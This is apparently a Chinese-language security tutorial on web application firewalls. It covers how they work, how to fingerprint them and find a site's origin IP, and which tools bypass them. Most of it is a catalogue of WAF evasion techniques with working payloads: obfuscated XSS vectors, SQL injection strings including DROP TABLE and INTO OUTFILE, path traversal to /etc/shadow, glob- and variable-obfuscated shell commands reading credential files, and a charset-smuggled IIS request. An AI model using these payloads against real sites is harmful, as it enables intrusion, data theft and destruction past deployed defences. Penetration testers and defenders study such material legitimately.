什么是WAF
Waf是web应用防火墙( Web Application Firewa‖l)的简称,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为web应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。waf属于检测型及纠正型防御控制措施。waf分为硬件waf、软件waf( ModSecurity)、代码级waf。
WAF的原理
waf对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。
waf工作在web服务器之前,对基于HTTP协议的通信进行检测和识别。通俗的说,waf类似于地铁站的安检,对于HTTP请求进行快速安全检查,通过解析HTTP数据,在不同的字段分别在特征、规则等维度进行判断,判断的结果作为是否拦截的依据从而决定是否放行。
总结使用WAF的原因
深度防御策略;
检测并阻止针对易受攻击的Web应用程序的攻击。
防范各种漏洞;
保护公司的网络环境。
受欢迎的WAF供应商
如何找到WAF类型和真实IP地址
1.使用shodan.io或censys.io2.搜索SPF记录和TXT记录。SPF和TXT记录可能存在原始的IP地址。3.也可以在“历史数据”中进行检索,在旧记录中可能具有原始IP。查找域名、IP地址等历史数据:securitytrails.com
如何证明WAF已经正确设置
WAF使用标准端口80、443、8000、8008、8080和8088端口;
WAF在请求中设置自己的cookie;
WAF将自己与单独的标头关联;
WAF在服务器标头中公开自己;
WAF在响应内容中公开自己;
WAF会根据恶意请求以唯一的响应代码进行响应;
从浏览器发送标准GET请求,拦截并记录响应头(特定的cookie);
从命令行发送请求(例如cURL),然后检查响应内容和标头;
将GET请求发送到随机打开的端口,并检查可能暴露WAF身份的标语;
尝试一些SQL注入playload,例如:“”或1 = 1-登录表单或忘记密码;
在某些输入字段中尝试使用XSS有效playload,例如<script> confirm()</ script>。
尝试将../../../etc/passwd添加到URL地址中的随机参数中;
将URL末尾的一些有效playload(例如“ OR SLEEP(5)OR)”添加到url作为随机参数;
使用过时的协议(例如HTTP / 0.9)发送GET请求(HTTP / 0.9不支持POST类型的查询);
根据不同类型的交互检查服务器标头;
将原始的FIN&RST数据包发送到服务器并识别响应;
边通道攻击–检查请求和响应内容的计时行为。
检查和绕过WAF的工具
w3af — Web应用程序攻击和审核框架wafw00f —识别和指纹Web应用程序防火墙BypassWAF –通过滥用DNS历史记录来绕过防火墙。该工具将搜索旧的DNS A记录,并检查服务器是否对该域进行答复。 CloudFail –是一种战术侦察工具,试图在Cloudflare WAF后面找到原始IP地址。
绕过WAF的技术
(1)请求真实ip绕过waf:部分watf部署架构的特性,部分waf并不是直接串在目标站点线路上,而是通过DNS解析的形式部署,此时可以先探测到目标站点的真实ip直接请求ip以此绕过waf的检测;
(2)检测内容范围绕过:waf性能限制,检测特定内容前几k或几十K的内容,然后在此特定内容段内填充物用数据, payload放于物用数据后,以此绕过检测;
(3)协议盲区绕过:waf根据自己的防御策略所支持的协议特性,针对该协议内的请求进行检查,但是存在一些协议检测或协议运行机制上的缺陷导致被绕过,例如协议未覆盖、协议解析不正确、协议解析遗漏等;
(4)检测规则绕过:waf工程师规则编写经验、规则覆盖面等问题,来绕过检测,例如利用 MySQL对一些特殊字符处理的特性、语法特性绕过。
1.大小写转换技术
组合大写和小写字符以创建有效的有效内容。
基本要求:<script>confirm()</script>URL中的示例:http://example.com/index.php?page_id=-1 UnIoN SeLeCT 1,2,3,4
2. URL编码技术
使用%编码/ URL编码对普通有效载荷进行编码;
您可以使用Burp。它具有编码器/解码器工具。
被WAF阻止:<Svg/x=">"/OnLoAD=confirm()//绕过的技术:%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F被WAF阻止:UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)绕过的技术:UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29URL中的示例:https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
3. Unicode技术
Unicode编码的ASCII字符为我们提供了绕过WAF的绝佳变体;
对整个或部分有效载荷进行编码以获得结果。
基本要求:<marquee onstart=prompt()>混淆:<marquee onstart=\u0070r\u06f\u006dpt()>被WAF阻止:/?redir=http://google.com绕过的技术:/?redir=http://google。com (Unicode alternative)被WAF阻止:<marquee loop=1 onfinish=alert()>x绕过的技术:<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)基本要求:../../etc/shadow混淆:%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow
4. HTML编码技术
Web应用将特殊字符编码为HTML。对它们进行编码和渲染;
基本的绕过情况,带有HTML编码的数字和通用编码。
基本要求:"><img src=x onerror=confirm()>编码有效载荷:&quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; 编码有效载荷:&#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62;
5.混合编码技术
这样的规则通常倾向于滤除特定类型的编码;
混合编码有效载荷可绕过此类过滤器;
换行符和选项卡,进一步增加了混淆。
混淆负载:<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
6.使用注释技术
注释使标准有效载荷向量模糊不清;
不同的有效载荷具有不同的混淆方式。
被WAF阻止:<script>confirm()</script>绕过的技术:<!--><script>confirm/**/()/**/</script>被WAF阻止:/?id=1+union+select+1,2--绕过的技术:/?id=1+un/**/ion+sel/**/ect+1,2--
在攻击字符串中间插入注释。例如,/ *!SELECT * /可能会被WAF忽略,但会传递到目标应用程序并由mysql数据库进行处理。
URL中的示例:index.php?page_id=-1 %55nION/**/%53ElecT 1,2,3,4 'union%a0select pass from users#URL中的示例:index.php?page_id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
7.双重编码技术
Web应用程序防火墙策略倾向于对字符进行编码以保护Web应用程序;
较差的过滤器(没有递归过滤器)可以通过双重编码来绕过。
基本要求:http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\混淆负载:http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\基本要求:<script>confirm()</script>混淆负载:%253Cscript%253Econfirm()%253C%252Fscript%253E
8.通配符混淆技术
各种命令行实用程序使用全局模式来处理多个文件;
我们可以更改它们以运行系统命令。
基本要求:/bin/cat /etc/passwd混淆负载:/???/??t /???/??ss??二手字符:/ ? t s基本要求:/bin/nc 127.0.0.1 443混淆负载:/???/n? 2130706433 443二手字符:/ ? n [0-9]动态有效载荷生成技术:
编程语言具有不同的连接模式和语法;
这使我们能够生成可以绕过许多过滤器和规则的有效载荷。
基本要求:<script>confirm()</script>混淆负载:<script>eval('con'+'fi'+'rm()')</script>基本要求:/bin/cat /etc/shadow混淆负载:/bi'n'''/c''at' /e'tc'/sh''ad'owBash允许执行路径串联。基本要求:<iframe/onload='this["src"]="javascript:confirm()"';>混淆负载<iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:con"+"fir"+"m()"';>
9.垃圾字符技术
WAF可以轻松过滤掉简单的有效负载;
添加一些垃圾字符有助于避免检测(仅在特定情况下);
此技术通常有助于混淆基于正则表达式的防火墙。
基本要求:<script>confirm()</script>混淆负载:<script>+-+-1-+-+confirm()</script>基本要求:<BODY onload=confirm()>混淆负载:<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>基本要求:<a href=javascript;alert()>ClickMe绕过的技术:<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript&#x3A;alert(1)>ClickMe
10.换行技术
许多具有基于正则表达式的WAF可以有效地阻止许多尝试;
换行技术(CR和LF)可以破坏防火墙的正则表达式并绕过某些东西。
基本要求:<iframe src=javascript:confirm(hacker)">混淆负载:<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)">
11.未初始化的变量技术
可以使用未初始化的bash变量规避基于正则表达式的错误过滤器;
该值等于null,其作用类似于空字符串;
Bash和Perl允许这种解释。
一级混淆:正常
基本要求:
/bin/cat /etc/shadow
混淆负载:
/bin/cat$u /etc/shadow$u
二级混淆:基于位置
基本要求:
/bin/cat /etc/shadow
混淆负载:
$u/bin$u/cat$u $u/etc$u/shadow$u
第三层混淆:随机字符
基本要求:
/bin/cat /etc/passwd
混淆负载:
$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
12.制表符和换行技术
选项卡通常有助于规避防火墙,尤其是基于正则表达式的防火墙。
当正则表达式需要空格而不是制表符时,制表符可以帮助打破WAF正则表达式。
基本要求:<IMG SRC="javascript:confirm();">绕过的技术:<IMG SRC=" javascript:confirm();">变体:<IMG SRC=" jav ascri pt:confirm ();">基本要求:http://test.com/test?id=1 union select 1,2,3绕过的技术:http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3基本要求:<iframe src=javascript:confirm()></iframe>混淆负载:<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:c&Tab;o&Tab;n&Tab;f&Tab;i&Tab;r&Tab;m&Tab;%28&Tab;%29></iframe>
13.令牌破坏者技术
对令牌的攻击企图打破使用令牌中断器将请求拆分为令牌的逻辑;
令牌破坏器是允许影响字符串的元素和某个令牌之间的对应关系的符号;
使用令牌破坏器时,我们的请求必须保持有效;
案例研究:令牌生成器的未知令牌
我们的有效载荷:?id=‘-sqlite_version() UNION SELECT passwords FROM users --
案例研究:解析器的未知上下文(注意无上下文的括号)
第一有效载荷:?id=12);DROP TABLE users --第二有效载荷:?id=133) INTO OUTFILE ‘xxx’ --
14.其他格式的混淆
许多Web应用程序支持不同的编码类型,并且可以解释编码
我们始终需要将有效负载混淆为WAF不支持的格式,但是服务器会走私我们的有效负载。
IIS案例:
IIS 6、7.5、8和10允许IBM037字符解释;
发送带有查询的编码参数。
原始请求:POST /example.aspx?id7=sometext HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 27
id2='union all select * from users--带有URL编码的混淆请求:POST /example.aspx?%89%84%F7=%A2%95%94%86%A3%88%89%95%87 HTTP/1.1
HOST: target.org
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 127
%89%84%F2=%7D%A4%95%89%97%95%40%81%93%94%40%A2%85%93%85%84%A3%40%5C%40%86%99%97%94%40%A4%A2%85%99%A2%60%60
(5)文件包含绕过:相对路径、绝对路径。